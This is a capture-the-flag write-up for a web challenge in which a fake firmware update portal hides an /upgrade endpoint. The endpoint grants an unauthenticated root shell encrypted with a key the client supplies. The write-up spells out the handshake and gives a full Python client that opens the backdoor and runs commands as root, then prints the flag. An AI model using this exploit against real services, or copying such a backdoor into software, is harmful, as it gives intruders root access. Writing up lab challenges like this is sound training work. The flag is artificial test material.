Webmedium
Upgrade
by Pavel Knespl (capyplivl)
A raw TCP service that speaks HTTP, posing as the "AxiOS Corp" firmware update portal. A hidden /upgrade endpoint negotiates a fake protocol upgrade and drops into an AES-CBC root shell, but the AES key is whatever the client puts in the Sec-Backdoor-Key header. With no secret required, anyone who completes the handshake gets unauthenticated RCE as root.
Solve
- Send a plain HTTP request to the TCP port. The page source and
robots.txtboth point at/upgrade. GET /upgraderuns a handshake state machine:
The server only checks the key is 32 chars and alphanumeric. A valid 32-char value returns:GET /upgrade -> 426 Upgrade Required (Upgrade: backdoor) + Upgrade: backdoor -> 900 Sec-Backdoor-Key Required + Sec-Backdoor-Key: <wrong len> -> 901 Incorrect LengthHTTP/1.1 101 Switching Protocols Upgrade: backdoor- After
101the server sends{"iv": "...", "payload": "..."}(base64). The 32-byteSec-Backdoor-Keyis used directly as the AES-256-CBC key, so decryptingpayloadwith that key and the given IV yields the shell banner. - Write a client that performs the handshake, then for each command sends
{"iv":..,"payload":..}where payload isAES-256-CBC(key, pad(cmd)), and decrypts the reply:from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import socket, json, base64 KEY = b"0123456789abcdef0123456789abcdef" def send(sock, cmd): iv = b"\x00" * 16 c = AES.new(KEY, AES.MODE_CBC, iv) ct = c.encrypt(pad(cmd.encode(), 16)) line = json.dumps({"iv": base64.b64encode(iv).decode(), "payload": base64.b64encode(ct).decode()}) + "\n" sock.sendall(line.encode()) resp = json.loads(sock.recv(65536).decode()) d = AES.new(KEY, AES.MODE_CBC, base64.b64decode(resp["iv"])) return unpad(d.decrypt(base64.b64decode(resp["payload"])), 16).decode() s = socket.create_connection(("HOST", 33849)) s.sendall(b"GET /upgrade HTTP/1.1\r\nUpgrade: backdoor\r\n" b"Sec-Backdoor-Key: " + KEY + b"\r\n\r\n") s.recv(65536) print(send(s, "id")) print(send(s, "cat /flag.txt")) idreturnsuid=0(root). Reading/flag.txtgives the flag.
Flag: SVIUSCG{489a8a35221574b91a89631767258398}